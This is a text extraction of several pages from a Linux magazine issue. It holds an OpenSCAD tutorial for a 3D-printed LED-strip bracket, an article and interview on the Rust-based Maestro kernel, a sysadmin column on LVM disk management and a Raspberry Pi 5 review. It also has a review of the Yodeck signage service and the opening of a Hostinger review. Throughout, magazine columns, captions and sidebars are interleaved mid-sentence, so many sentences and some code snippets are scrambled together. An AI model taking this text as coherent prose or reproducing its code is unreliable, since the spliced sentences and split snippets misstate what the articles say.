a stone or the Instead, open the URL https://openscad.org/
communication downloads.html in a browser of your choice and scroll
capability of down until you find the Other Linux section. Click the
popped balloon. button corresponding to your operating system’s
In short, he architecture; currently, OpenSCAD is available for x86 This simple-looking user interface permits the forging of three-
is the ideal and ARM. The reward is the downloading of the file dimensional objects.
candidate to OpenSCAD-2021.01-x86_64.AppImage, which can
explain how be executed from the command line: current contents of the rendering cache, while the
to design cool $ chmod +x OpenSCAD-2021.01-x86_64.AppImage console window below provides status information
things using $ ./OpenSCAD-2021.01-x86_64.AppImage from the rendering engine. As the proof is in the
OpenSCAD. After running these commands, OpenSCAD pudding, place the following line in the code editor
presents the getting-started wizard. Click the New and click the preview icon:
button to open the OpenSCAD editing environment sphere(r=20);
(see screenshot, above-right). When run successfully, a sphere appears, as shown
The white window on the screen’s left side is the (above). Carefully looking at the ruler-like coordinate
input area. The yellow-backgrounded space shows the axis shows that 20 OpenSCAD length units were used

WHAT IS OPENSCAD?
Few conflicts are as old as that between or AutoCAD, OpenSCAD deserves an the product does a great job, especially
the creative and engineering-minded. honourable mention. It is a (lobotomised) when high accuracy is required. Unlike a
Sadly, events such as purchasing real programming language for creating GUI-based tool, the function and text-
estate in need of renovation can lead 3D-printable objects. based way of designing objects with
to a situation where the engineering- A developer using OpenSCAD writes OpenSCAD means that measured
minded must get creative. Trust us a piece of code, which is compiled (or results can easily be entered into
when we say that the availability of a run) to create the 3D model, which can the program. Furthermore, the
3D printer is one of the few factors that then be fed to a slicer of choice. computational capabilities of the
greatly simplify real-estate renovations. While OpenSCAD is not well suited to product permit easy modification of
Given that programmers often applications where exquisite and well- the object should dimensions ever
struggle with software such as FreeCAD designed objects need to be created, change (hint: they will).

66 LXF313 April 2024 www.linuxformat.com


CAD coding TUTORIALS

here. People experienced with programming languages


The final cut-out
such as C quickly recognise the syntax – the sphere is is in place but
created by invoking the sphere function, which takes needs to be moved
a named parameter to set the radius. OpenSCAD is around a little.
flexible in that most functions have a set of default
parameters. In the case of the sphere, this is the radius
– we could write the code as follows:
sphere(20);

Real life
Underground real estate is fascinating; floor loads are
almost unlimited. Sadly, most non-dedicated builds
have issues with kitchens – 18th and 19th-century
architects did not think that potato storage areas
would ever be used for housing. Thus, effective space
use (and kitchen construction techniques from
aerospace) are recommended. The union operator The intersection
LED strips for illumination are very versatile; they is not always operator in action
save 2 inches [5cm in metric – ed] of work space when necessary. on our poor cube.
placed above a working surface. Sadly, their glue tends
to delaminate quickly, especially when in contact with
steam. As a workaround, a bracket object such as the
one shown (over the page) has been devised.
Creating this object requires a slight rethink of our
OpenSCAD process. So far, invoking methods such
as sphere set voxels in the output area. Fortunately,
OpenSCAD also provides an inverse: a method that can
unset voxels in rendering space.
Our next task is creating the rectangular main
body, which makes up the bulk of the component.
Rectangles can be created by using the cube method –
its syntax is shown in the OpenSCAD documentation,
found at the URL https://bit.ly/lxf313cube, and
Our cut-out is
partially reprinted here: ready to deploy.
cube(size = [x,y,z], center = true/false);
cube(size = x , center = true/false);

Parameters
size single value, cube with all sides this length
3 value array [x,y,z], cube with dimensions
x, y and z.
center false (default), 1st (positive) octant,
one corner at (0,0,0) true, cube is
centred at (0,0,0)
default values: cube(); yields: cube(size = [1, 1, 1],
center = false);

Values enclosed in [] construct a vector. In the


case of the cube function, size is a vector of three cube([25,5,8]);
values – they correspond to the dimensions in the X, cube([11,30,3]);
Y, and Z axes. }
Given that our object is to be held in place by a While the X and Z coordinates of the second cube
total of two screws, a sensible approach would use are clear, the large value in the Y axis needs to be
the formula Strip Width + 2 * Hole Width + Space to clarified. When an object has to be cut through entirely,
determine its width. The other two dimensions can select a huge value for this axis. Picking a limited value
then be determined by feeling, leading to the definition is not a good idea, as it can lead to weird boundary
of the following cube: issues. At this point, the next rendering can be ordered The quality of
cube([25,5,8]); but will show somewhat odd results. Fortunately, the rendering
In the next step, we need to start subtracting solving this problem is relatively easy. Refer to the first can be modified
objects. For this, we should start with the LED strip – a screenshot once again and order a final rendering. The via the $fn
quick application of the callipers led to the dimensions results display the structure shown (above, top). function, which
of 10.8x2.8cm. is described in
Let us next execute the following program: Combinatorial operators more detail at
difference() Before we continue moving the part, a more thorough https://bit.ly/
lxf313scad.
{ look at the difference operator is required. The

www.techradar.com/pro/linux April 2024 LXF313 67


TUTORIALS CAD coding

structure with the {} obviously to the problem at hand. For that, we need to move
creates a block containing the the cut-out.
two cubes. This block is then For this, it is recommended to use the translate
attached to the difference operator. In computer graphics speech, translation is
operator, which performs a motion across one or more axes – the translate
the subtraction. operator takes in a vector describing how far the
Combinatorial operators are objects are to be moved.
among the most important in the The object must be moved along the X axis in our
world of OpenSCAD – geometry particular case. The exact space can be determined
can be subtracted, added and by thinking or by playing around – as shown in the
intersected. The simplest way to following snippet, OpenSCAD coordinates can also
describe this is in the table from be made up of a computation:
Tam’s scientific book on the difference()
topic (see Quick Tip, opposite {
page) – it visually illustrates the cube([25,5,8]);
various operations. translate([(25-11)/2,0,0])cube([11,30,3]);
The final printed }
LED holder in place union() At this point in time, the program is ready to run.
holding up Tam’s
critical lighting { The cube and The screenshot (previous page, bottom image) shows
infrastructure. cube(12, center=true); sphere volumes that the cut-out is in position.
sphere(8); are combined. Drill holes for the screws are next. The first step
} usually involves determining the width of the threads.
Being based in continental Europe, Tam has easier
difference()
{ The sphere volume access to metric screws. In particular, a screw of the
cube(12, center=true); is removed from type M2.5x16 was selected – its threading diameter
sphere(8); the cube. was 2.4mm.
} Selecting the correct amount of reduction to
achieve a tight fit between the 3D printed part and the
All those who difference()
screw is both art and science; not only is it dependent
use OpenSCAD { The cube volume
sphere(8); is removed from on the screw and the model, but also on the slicer, the
are well advised
cube(12, center=true); the sphere. accuracy and the material used.
to purchase
} Due to that, the value of 2mm is but a guideline –
callipers.
Having some should you want to realise this object for use in your
intersection()
dramatically The sphere volume own kitchen, be sure to print one object and test
{
simplifies the is clipped to the it by screwing it into a piece of scrap wood before
sphere(8);
creation of the outside planes of committing to production.
cube(12, center=true);
measurement the cube volume. With this information in hand, the OpenSCAD
}
values needed documentation can be consulted once again to find
to build the Furthermore, bear in mind that the union operator is out the name of the function required for the raising
various objects. implicit. The following snippet of code invokes both the of a round solid. In particular, this is the function
cube and the sphere method – the results are added cylinder, which has the definition shown here: https://
together (see previous page, middle image): bit.ly/lxf313cyl.
cube(12, center=true); In the next stage, it is recommended to add one of
sphere(8); the functions as shown in the following step:
difference()
Moving objects {
While this excursus into the world of combinatorial cube([25,5,8]);
operators introduced a few (potent) new elements of translate([(25-11)/2,0,0])cube([11,30,3]);
the OpenSCAD syntax, it has yet to bring us any closer cylinder(h=20, d=2);
}
Careful readers of the table mentioned above
The strip holder will query why the two objects are dropped into
is now ready for the difference operator. The answer is simple: when
physical realisation.
difference receives a parameter list, the second and
the following objects are ganged up and subtracted
from the first object.
In the next step, it is time to move the two objects
to their position. This is best accomplished by
duplicating the cylinder invocation and then using the
translate operator to move them to the individually
correct positions:
$fn=32;
difference()
{
cube([25,5,8]);

68 LXF313 April 2024 www.linuxformat.com


CAD coding TUTORIALS

translate([(25-11)/2,0,0])cube([11,30,3]);
translate([22,2.5,-2])cylinder(h=20, d=2); The geometry
element touched by
translate([3,2.5,-2])cylinder(h=20, d=2);
# is highlighted in red,
} even if it is invisible in
When done, the object is ready to print (see the rendering.
screenshot, opposite page, bottom). We increased the
$fn value to get smoother circles here.

Colourising geometry
When working on a real-life OpenSCAD object,
debugging can be significantly simplified if the part
of the geometry created by a specific OpenSCAD
command is coloured. This is achieved by using the
# operator – the screenshot (right) shows that its
application to the cube object reveals its position:
$fn=32;
difference() not update the geometry cache and cannot be used for
{ the production renderings.
cube([25,5,8]); Be that as it may, pressing the STL button opens a If you want
#translate([(25-11)/2,0,0])cube([11,30,3]); dialog window. Use it to select the filename and the to learn
translate([22,2.5,-2])cylinder(h=20, d=2); path where the STL file is to be stored – OpenSCAD more, consult
translate([3,2.5,-2])cylinder(h=20, d=2); exports a standard STL file, which can be imported into Technical
} your slicer of choice. Modeling with
In principle, deploying this operator could not be At this point, a question remains: numbers such as OpenSCAD.
Published by
simpler. In practice, however, be aware that it is only 25 were, so far, considered to be dimensioned in
Elektor, it can
used in preview renderings; performing a rendering OpenSCAD size units. Loading elements in the slicer be purchased
for effect makes the parser discard colour changes reveals the use of millimetres as basic units. on Amazon or
caused by the operator. At this point, all that needs to be done is the actual at your local
realisation. The photo (opposite page, top) shows the bookshop.
3D printing OpenSCAD results achieved on Tam’s 3D printer.
The last task involves transforming our object into a
ready-to-print version. For this, we need to revisit the What’s next?
first screenshot once again – next to the rendering After these experiments, you should be aware of some
button, we find the STL symbol. It dumps the contents of the basic commands. Next month, we’ll introduce
of the last production rendering into an STL file – be more elements of OpenSCAD syntax. In the meantime,
careful to run a production rendering before pushing stay tuned and feel free to consult the documentation
the STL button to prevent exporting outdated – having grasped the concepts presented, learning
elements. Also, be aware that preview renderings do from the documentation is easier than it sounds.
In most cases, one
OpenSCAD size
unit translates
to 1mm.

WE’RE PRINTED IN 3D TOO! SO… Subscribe now at http://bit.ly/LinuxFormat

www.techradar.com/pro/linux April 2024 LXF313 69


TUTORIALS Kernel

MAESTRO
Credit: https://github.com/llenotre

Take the Rust-based


kernel for a test run
Nate Drake delves into Maestro, written entirely in Rust. It may need
tuning but virtuoso developer Luc is just warming up…

ust is in the kernel. Since the 2020 Linux weaknesses in C and C++. Rust can avoid these

R Plumbers conference, developers have been


mulling the subject over. With Linus Torvalds’s
problems altogether by using APIs.
This isn’t to say that it’s time to forget C altogether,
blessing and after a flurry of pull requests, it’s now but major versions of Linux are already taking their first
possible to write kernel modules like device drivers and tentative rusty steps. For instance, Ubuntu has made it
filesystems entirely in Rust. easier to use Rust for kernel programming by providing
OUR Three years later, and there’s been major progress all the necessary toolchain and kernel requirements
EXPERT with the support of big players like Samsung, Cisco and to build and test out-of-tree kernel modules. This can
Nate Drake Canonical. You can follow recent developments at the be done without changing the Ubuntu source code.
considers Rust for Linux project (https://rust-for-linux.com). Developers can even share modules with other Ubuntu
himself a Rust As Alex Gaynor and Geoffrey Thomas explained at users without special toolchain/kernel requirements.
programming the 2019 Linux Security Summit, almost two thirds of While the future is reassuringly rusty, various issues,
expert. Or did he Linux kernel security holes come from memory safety such as duplicate drivers and backporting Rust support
say he’s rusty at issues. With all due deference to the old vanguard of to LTS releases of versions of Linux, mean we’re
programming…? C coders, these issues are mostly caused by inherent probably some years away from a fully-fledged major

TAKE IT AWAY, MAESTRO!

for LXF and even endured LXF: You must be familiar with LXF: What role does Rust
Nate’s terrible French. You Redox, an operating system play in overcoming the
can read more about Maestro entirely written in Rust, obstacles you faced during
and Luc on his blog (https:// maintained by around 80 the initial development of
blog.lenot.re). developers. You’re more akin Maestro in C, and how has it
to a lone genius like Mozart, influenced the evolution of
LXF: Why did you choose Rust composing code solo. As a the project?
to create Maestro, given that solo developer, what LL: Rust ensures that many
writing a Linux kernel challenges have you bugs related to memory
yourself in C would have been encountered, and how have management or concurrency
more than sufficient for a you overcome them during are avoided. There is no need
Software engineer Luc school project? the development of Maestro? to think about these details
Lenôtre has been coding Luc Lenôtre: I had heard a lot of LL: I have indeed heard about because the compiler takes
since he was just 10 years good things about the Rust Redox. The project is much care of them for you as the
old. At the age of 18, he language at the time, and I more advanced than mine, programmer. However, it
started studying at the Paris thought it was probably worth obviously. The main challenge doesn’t solve every problem.
branch of School 42, which trying. My kernel [originally in developing Maestro on my The language’s typing rules
emphasises peer learning and written in C] needed a major own is that the workload is are designed for user-space
project-based work. This is refactor, so I thought it was colossal. You have to be able programs and do not cover
where he devised his plan the right time. [A time-lapse to handle every aspect of the handling of CPU
to create his very own OS. video of Maestro’s transition the kernel, whereas in a interruptions, for instance.
Nevertheless, Luc kindly from C to Rust is available multi-person project, each
took time out of his busy at https://blog.lenot.re/ person can specialise in a LXF: Currently, Maestro has
schedule to be interviewed a/introduction.] particular domain. no graphical interface. Do

70 LXF313 April 2024 www.linuxformat.com


Kernel TUTORIALS

Linux distro coded entirely in


the language.
For French software engineer
Luc Lenôtre, this was clearly too
long to wait. This was why, as he
states on his GitHub page (https://
github.com/llenotre), he decided to
create his own “Unix-like operating
system from scratch using the Rust
language, just for fun.”
Like many great inventions,
Maestro has taken some time
to get off the ground. In his blog,
(https://blog.lenot.re) Luc modestly
admits that the first commit of the
kernel took place in 2018, but at
the time it was written entirely in C.
Not only was this difficult to
“keep clean”, as he put it, but it
also wasn’t very remarkable. This
was when he decided to start from scratch using Rust. disk at the root of the repository. You can use the Developer
Luc’s blog has
At the time of writing, Maestro is a monolithic kernel option -drive file=qemu_disk,format=raw to reference
a time-lapse
and supports only x86 architecture. Still, 135 out of the disk. You can then run the kernel via cargo run . video tracking
437 Linux system calls (roughly 31%) are “more or Alternatively you can create your own fully-fledged the transition
less’’ implemented. The project currently comprises ISO via Maestro-install. This involves building both the of Maestro to a
some 48,800 lines of code across 615 files. installer and required packages. Follow the steps at fully-fledged Rust
kernel (created
We were keen to take Maestro for a test spin, so https://github.com/llenotre/maestro-install if you using Gource).
downloaded the prebuilt ISO (https://blog.lenot.re/ wish to do this.
assets/article/maestro.iso.gz), then installed it in Although there’s no GUI, the text installer in the
VirtualBox. As Maestro is a WIP, we recommend that default ISO is simple to navigate, prompting for basic
interested users also run the OS in a VM. info like language, hostname and admin password.
The project’s GitHub page (https://github.com/ Maestro has three main components beyond the
llenotre/maestro) states that QEMU is best for kernel kernel itself. The first is the boot system and daemon
testing. If you use QEMU, you also need a fully built OS, manager Solfège. Utility commands such as Mount
which must be present on a raw disk in the file qemu_ and Shutdown are handled by Maestro-utils. Package

you plan to implement this x86-64, and if so, what LL: The main difficulty in incorporate other filesystems
as well? Are you considering challenges do you anticipate? introducing full network but could do so if needed.
adapting an existing desktop, LL: I would like to add support support will be the
such as Cosmic or the Way for x86_64, as the 32-bit implementation of various LXF: On your project page, it is
Cooler window manager? So architecture is rather obsolete. drivers. As the project mentioned that you have your
far, it just seems that you The restriction is down to progresses, this will become own version of Neofetch, but
prefer to do everything the original limits set by my even more crucial. You need when we tried to run the
from scratch? school project, and that’s how to have numerous drivers in command in Maestro, it
LL: I started writing an Xorg Maestro started. Beyond that, I order for an operating system displayed ‘Command not
server [Visto] in Rust, which would like to support the ARM to be adopted on a large scale, found’. We appreciate that
is available on my GitHub architecture to support mobile which requires a significant the current number of
[https://github.com/llenotre/ platforms, such as Raspberry amount of work. packages is limited, but did
visto]. But I will most likely Pi or smartphones. we miss something?
rewrite it to move to Wayland. LXF: Maestro currently LL: I didn’t include Neofetch
Xorg was designed at a time LXF: When we tried to install supports the ext2 filesystem. in the ISO because I wanted
when user interfaces were packages via Blimp, we Are there any plans to to provide only the minimum
much simpler. I think it’s time discovered that network incorporate support for number of packages
to move on. support has yet to be fully more modern filesystems, necessary. To get extra
implemented in Maestro. and if so, which ones are packages like Neofetch,
LXF: Maestro currently What are the obstacles, you considering? you need to install them
supports the x86 and what strategies do LL: Ext2 is obsolete today but manually by copying to the
architecture. Are there plans you envision to overcome simpler to implement. For now, main disk or recompile the
to extend compatibility to challenges like this in I plan to introduce support for Maestro-installer and add
other architectures, such as future versions of the OS? ext3 and ext4. I’ve no plans to extra packages to install.

www.techradar.com/pro/linux April 2024 LXF313 71


TUTORIALS Kernel

installation is handled by Maestro’s very own Blimp,


though network support is still under development.
The easiest Blimp supports Linux cross compilation with an
way to test appropriate toolchain. (See https://github.com/
Maestro is using llenotre/blimp to learn more.)
the prebuilt To do this, you need to set Linux targets via musl, a The lack of GUI is
ISO. If you general-purpose implementation of the C library, which made up for by a
want to create very forgiving text
fortunately comes bundled with Maestro. Currently, the installer, currently
your own ISO
OS also supports Bash and a number of GNU core only available in
from scratch,
commands such as ls, Rmdir and Whoami. English or French.
use Maestro-
installer The terminal itself supports VGA text mode and
(https://github. both PS/2 and USB keyboards. Memory is managed On his blog, developer Luc notes that he started the
com/llenotre/ by a ‘buddy allocator’ working underneath an internal OS as a school project, candidly admitting he had to
maestro- memory allocator. cut corners to finish it on time. Still, it’s clear he’s not
install). You can Only the ext2 filesystem is supported for now but content with simply getting his gold star, as his blog
also run the Maestro can handle both MBR and GPT disk partitions, provides detailed plans of Maestro’s roadmap.
kernel using initramfs and virtual filesystems (/tmp and /proc). Visit The biggest hurdle seems to be network support,
VirtualBox, the kernel GitHub page (https://github.com/llenotre/ which currently doesn’t work out of the box in Maestro.
VMWare
maestro) for a rundown of other features. Shared library support also isn’t functioning, as it
or QEMU.
To learn more about its implementation, you can requires mapping files directly into memory. But Luc is
also view the kernel’s official ‘book’ at doc/book/index. optimistic that this will allow him to download and run
html after running the following command: programs such as the GCC compiler, while scouring
$ mdbook build doc/ through system calls until he has a viable OS.

TAKE IT AWAY, MAESTRO! CONT.

LXF: Maestro started as a approach to the development majority of the time I spend LXF: From your blog, it’s clear
school project. You shared of Maestro? on this project. you’re a polyglot, given that
your roadmap on the blog LL: SkiftOS (https://skiftos. beyond French, you speak
and it really seems to have org), in particular, inspires me LXF: Can the community English, Spanish and
gathered pace since then. a lot given it has the kind of become actively involved Chinese. Did your talent for
How has the project evolved graphical interface I’d like in the development of spoken languages influence
beyond your initial to have in Maestro. I’m also Maestro, or do you intend to your desire to learn a new
expectations, and which impressed by Aero [another continue the project as a solo coding language in Rust?
milestones are you Unix-like OS written in Rust] endeavour? Presumably, as LL: Not at all – it’s an entirely
particularly proud of? (https://github.com/Andy- it grows in popularity, there separate passion! I would
LL: Each new feature was Python-Programmer/aero) will be more demands for also like to learn Ukrainian,
satisfying to implement and and [microkernel-based OS] new features? German and Italian.
see in action, but I would say Managarm (https://github. LL: I’m considering it; there
the one that truly changed my com/managarm/managarm). are people who have shown LXF: You have provided links
perspective is the support for interest in participating. But on your blog for developers
Bash. When I saw the Bash LXF: Looking back at the first, I need to change the interested in developing their
prompt displaying and entire development process, project’s licence, most own OS. What advice do you
functioning correctly, that’s are there any other moments probably to GPL. have for those who wish to
when I realised what I’d done that were particularly undertake a similar journey,
was absolutely awesome. challenging or rewarding, and LXF: As you know, there especially for developing
how have they shaped your have been many recent their own OS in Rust?
LXF: As a lone developer, perspective on operating developments in the Linux LL: I would offer a few pieces
how do you manage the system development? kernel to support modules of advice:
balance between adding LL: I wouldn’t say that there written in Rust. Can you 1. Carefully read the
new features to Maestro were any particularly difficult imagine a day when major documentation and pay
and maintaining its individual moments, but Linux distributions will be attention to details. Precision
existing functionality? rather that everything is a entirely written in Rust, just is extremely important.
LL: Refactoring, over and constant challenge. Nothing as Maestro is? 2. Dedicate a significant
over again. I spend more is simple in the world of OS LL: Completely rewriting a amount of time to it.
time refactoring than adding development. The main Linux distribution in Rust Projects like these are
new features. lesson this project has would take a tremendous very time-consuming.
taught me is that it is very amount of time and effort. I 3. Be very persistent. It is
LXF: Are there specific OS important to refactor one’s think if it were to happen, it not uncommon to spend
developers or projects that code regularly to keep the would be more of a transition several days, even weeks,
have inspired you? If so, project viable. I believe that over several decades rather tracing the point of origin
how did they influence your refactoring represents the than a direct rewrite. of a single bug.

72 LXF313 April 2024 www.linuxformat.com


Make Python work for you with tutorials on coding with Django,
Flask, Pygame and even more useful third-party frameworks.
ADMINISTERIA
Stuart Burns
is a Linux
administrator for
a Fortune 500
Disk management
company Stuart Burns isn’t boring, he’s essential
specialising
in Linux. – just like looking after your disks
ET TU UBUNTU ecently, I have spent a not on it. Unfortunately, because there wasn’t

R insignificant amount of time


remediating Linux systems with
enough disk space, the upgrades errored out.
As a quick fix, I was able to allocate a few GB
Ubuntu is the easy go-to for some poor design choices regards disk from that unused space, grow the filesystem
people new to Linux. It’s made a layout and management on Linux. I thought and then the upgrades worked as expected.
few contentious moves but of it as something worthwhile sharing with When setting up the logs, set up a
nothing that blew it up in a the community at large. partition that keeps 20% as emergency slack
‘RedHat II’ way. While not geeky or new, it’s important to space. Instead of the standard lvcreate , use
It is widely acknowledged that understand the strong correlation between the following, substituting values as needed:
Ubuntu was going to IPO at well-designed and well-managed systems $ lvcreate -n logs -l 80%FREE vg01
some point. That means that and uptime. There isn’t space to cover it all, The administrator can then add a /var/log
everything that can generate so I hope to show some of the bad decisions entry to fstab and done properly, on boot it
revenue is getting squeezed. To that can be made with disk layouts. isolates the logs to not be able to cause as
end users or small shops, this The items below can’t be done many problems.
comes in the form of Ubuntu Pro. retrospectively but if used at build time, will If you do this, in the bad times, adding an
It never bothered me as it was pay the admin back in spades over time. extra 2GB of space becomes as simple as:
optional until now. Last week, I Let’s start at the beginning. Using LVM $ lvextend -L+2G /dev/mapper/apps
did the desktop GUI update and (Logical Volume Management) makes disk $ xfs_growfs /apps
apart from the standard items, management easier as it abstracts the This approach works as far as you want
there was a whole new section underlying physical disks from the upper to take it. Separating out the app’s volume is
of Available Updates. Ubuntu is layer of logical volumes. It makes adding also a great idea, with the same percentage
now on the naughty step – all additional physical disks into the system in reserve.
these items were Ubuntu Pro. I and expanding the filesystems simple. The reason for this is that sometimes
had all the Ubuntu Pro items As an example, if you have an Ubuntu volumes can run short of space and adding
turned off. It may be me, but I’ve server with several disks (RAID volumes/ space when you have spare becomes as
never seen this before and to my ADADM volumes), the first disk is set up as a simple as running lvextend and then growing
mind, this is beyond the pale. default LVM disk configuration. Partitioning the filesystem.
Is this some scheme to get a fixed disk and formatting directly is just This is doubly complex if the underlying
more users on to Ubuntu Pro for lazy management. disk is cloud-based, and expanding the
‘IPO reasons’? It’s deceptive and Several volume groups (VGs) can run filesystem is a significant undertaking when
for that reason I will no longer on a system and putting the /var/logs on a multiples of the existing disk are required,
recommend Ubuntu as an easy separate volume is good practice for many even if a small amount of space is needed.
alternative. Ubuntu: the reasons. If you are running production If nothing else, that spare space buys
Microsoft of the Linux world. Docker systems, you would be crazy not to you time to fix the issue properly, rather
In other news, the makers of do this. At the same time, if /var/log gets to than potentially running out of space and
Raspberry Pi are looking to IPO. I 100% full, it can, in certain scenarios, prevent risking corruption.
am torn on this as an English guy, swapping to root, effectively preventing While LVM may be new to some, it is
as it is one of ever fewer success proper management. without doubt the best way to manage
stories. I think they’ll do well as To give a real-world example of this, last disks coherently. It allows so much flexibility
they have the best coherent week I was upgrading a fleet of machines compared to any other way. It may take some
offering, user base, support that had been set up with meagre disk learning, but understanding and using LVM is
and documentation, especially space for the LVM that had /var/log hosted one of those skills that keeps on giving.
compared to Chinese no-name
boards, riddled with questionable
practices, toolsets and files.
On the flip side, we have seen
them already prioritise business
over end users, and while the
injection of money will help do Here we
new things, it will, without doubt, see Ubuntu
encouraging
lead to a lesser, more money-
people to
focused-at-all-costs offering. sign up for
Hopefully, I’ll be proven wrong. Ubuntu Pro!

74 LXF313 April 2024 www.linuxformat.com


ADMINISTERIA

The Pi 5 as a mini server


A sysadmin’s perspective on setting up and running a new
Raspberry Pi 5 for Docker and beyond.
was graciously loaned a Pi 5 8GB version to

I trial. Many reviews have been written about


the Pi 5 as a new iteration of dual-screen- Double check
capable SBC desktops, but as a sysadmin, I was more those WiFi
interested in using it in a server context. The low power passwords
otherwise it
aspect appeals greatly. The verdict? It’s pretty good.
won’t work and
The new generation of Pi is unlike the Pis of the you will be sad.
old. Unfortunately, that fact is reflected in the pricing.
It is essentially the ‘Premium’ Pi experience. The price
increases further when you start to feed in the cost of
the peripherals – the essential heatsink and the power
supply. The new official power supply can provide 20
watts – far more than previous generations. This is
partly to feed the increased CPU power consumption Logi Bolt) means that the mouse and keyboard only
and partly to be more stable when adding external consume one of the precious USB slots.
devices via the USB 3 ports. There is no longer A major limitation of previous Pis was memory.
onboard sound or standard HDMI. This means buying After a few programs were loaded, the memory could
one or two of the appropriate micro HDMI to full HDMI become constrained. The recent chip-supply shortages
convertors if looking to use it as a desktop. have now been resolved with the availability of SKUs
Other nice additions include (finally) a power button that have more memory onboard.
and the ability to add a real, honest-to-goodness
hardware clock via the addition of an (at cost) battery. Feel the heat
From a sysadmin point of view, if you want it as A pro tip for putting it together, is when adding the
a headless server, it is simple enough to configure heatsink, connect the fan wires first because doing it is
when flashing a new micro USB using the official fiddly and finger-cut-inducing. The heatsink is cleverly
Raspberry Imager tool. The imager options allow for designed to use plastic lugs to secure it in place and
the configuration of IP and SSH ahead of time (it allows can only be applied one way: the right way.
CREDIT: Raspberry Pi Foundation

you to set the Wi-Fi details and SSH service autostart). As to the server capabilities, we were quickly able to
These options are available after you have selected configure it to run six different Docker images and still
your device and it prompts: Would you like to apply have plenty of RAM left. The performance is good
OS customisation settings? Set this up and then apply enough that it can run substantial containers, such as
the config. Once the Pi is booted up, you should be able Invidious, Jellyfin, Sonarr and others, without any
to SSH straight into the server. issues. A word of caution, though: while it may make a
A little tip is that if you use the Raspberry Pi as great media server and has plenty of resources, it will
a desktop, using a mouse and keyboard set that is not go above 1080p without frame drop.
preconfigured to use a shared USB receiver (such as With 20W available, powering small external disks
The much- seemed to be less of an issue. There were no stability
anticipated NVMe
adaptor will add issues or dropped connectivity under significant load.
solid, high-speed Even when using encrypted volumes on external USB 3
storage to the disks, the performance was good.
Pi’s armoury. If the need is for a low-power but reasonably
performant ‘box in the corner’ to run lightweight tasks
or as a media server or Docker host, it works very
well. That said, for the same price as the board, power
supply and adaptor, I was able to get a second user SFF
M900 desktop that was equally performant but more
of a whole package; it depends what you want to do.
It is undeniable that the Pi changed the ARM
landscape and is without doubt the leader, but it is now
straddling a complex cavern – on one side tinkerers, on
the other people who want to do more serious things
and push the ARM envelope. I think some of the new
add-ons may be game-changers, including the much
awaited hardware add-on to allow NVMe disks.

www.techradar.com/pro/linux April 2024 LXF313 75


REVIEWS Digital signage

Yodeck
Jonas P DeMuro dusts off his Raspberry Pi so he can
take a quick overview of this digital signage service.
an Francisco-based Yodeck is powerful digital
IN BRIEF
Yodeck is
S signage software that enables you to create,
manage and display content on screens,
digital signage making it an excellent solution for various industries.
software with The company’s mission is to help people build better
four pricing relationships with their customers, students,
plans: Free, employees and community members. It started in
Standard, 2015 with three people, and has grown to over 6,000
Pro and an employees, serving the needs of over 5,000 clients
Enterprise plan worldwide, with their tens of thousands of screens.
for businesses Yodeck serves many businesses and organisations,
with specific including Icelandair, Domino’s, McDonald’s and Ford.
security At the bottom is the Free plan, which makes Yodeck
requirements. completely free to use for a single screen. You can
Yodeck offers enjoy all the features, such as the included apps and
a variety of templates, without any cost for your first screen. Also
features, keep in mind that this free tier serves as the trial, too,
including as we did not see any mention of a free trial on the
content higher tiers, but this is not time limited and can be used
management, long term for a single screen. You can see the Raspberry Pi nestling inside the Argon40 case.
scheduling and The Standard plan, which is targeted at multi-screen
analytics. The installations, is $7.99 per screen per month. It provides includes more user-manual-style content. Users are
help centre has essential features for managing digital signage across also encouraged to add input on new feature ideas.
articles and multiple screens, such as overlays, an interactive kiosk, A shortcoming is that we did not find a user forum,
user manuals, free stock images and videos and live streams. or any ebooks or webinars on the official website.
making this However, investigating further, there is a YouTube
an attractive Go Pro channel with over 130 videos, and there are some
choice overall The Pro plan is recommended for managing large random links to this content, but in this day and age,
in the digital volumes of content, at a price of $9.99 per screen an embedded video player would probably be an
signage space. per month. It includes everything in the Standard plan expectation for most people.
with additional features and capabilities beyond that, Yodeck offers a wide range of end deployment
including sub-playlists, volume schedules, media tag options, from Chrome browsers to Fire TV sticks and
filtering by screen, and advanced media scheduling. Android apps. The main platform offered by Yodeck
Finally, the Enterprise plan features “pro-grade is Raspberry Pi-based and the business was built up
security” and is available for $12.99 per screen per around a Python-based solution running originally on
month. It includes all the functions of the lower the Pi 2, with the current recommended install being
plans and then offers advanced features and robust a 4GB Pi 4, although support back to the Pi 2 and
security measures that include login IP and password Compute 3 is still available. You can find out more at
restrictions, custom user roles, security session https://bit.ly/lxf313yo.
policies and audit logs.
Additionally, the company provides free hardware
with all annual plans, making it an affordable choice for
VERDICT
implementing digital signage projects. Also bear in DEVELOPER: Yodeck
mind that for 60 screens and over, you can call for a WEB: www.yodeck.com
custom quote at that higher volume. PRICE: From free ($7.99pm per screen)
Yodeck has but a single option to get in touch for
assistance: a contact portal. There is no direct phone FEATURES 7/10 EASE OF USE 8/10
number or option for chat. You should also keep in PERFORMANCE 9/10 VALUE 7/10
mind that support is included for no additional cost
with each of the plans. Yodeck is a good option for digital signage software. It offers
On the self-help side of the support equation, we a variety of features at a reasonable price. The free tier is a
CREDIT: Yodeck

are pleased to report more options. There is a mature great way to try it out before committing to a paid plan.
help centre, with articles written on a variety of topics,
including General Questions, Pricing and Features. Rating 7/10
There is also a separate documentation area that

76 LXF313 April 2024 www.linuxformat.com


Web host REVIEWS

Hostinger
James Capell is just the guy to try out a web host that’s
easy enough for your granny to use.
ostinger is web hosting provider
IN BRIEF
Hostinger offers
H that caters to everyone from home
users with little to no web hosting
affordable experience all the way to seasoned web
shared hosting devs. For this review, we used the most basic
for small to plan to see what Hostinger has to provide
medium low- for a range of users . We built a test site,
traffic sites. explored its custom control panel, tested
VPS hosting support, monitored speeds and uptime, and
and cloud compared our results with the competition.
hosting give Hostinger has put a lot of effort into
your website making its shared hosting experience as
more resources seamless and beginner-friendly as possible.
for extra speed, From the minute you sign up, it walks you
making them through every step with very clear and easy- Our speed test shows exemplary performance on top of that attractive pricing.
suitable to-follow instructions that can help complete
for more novices get their website up and running. With the entering the address and a password. Advanced
demanding, inclusion of additional features such as page speed features, such as importing existing emails and
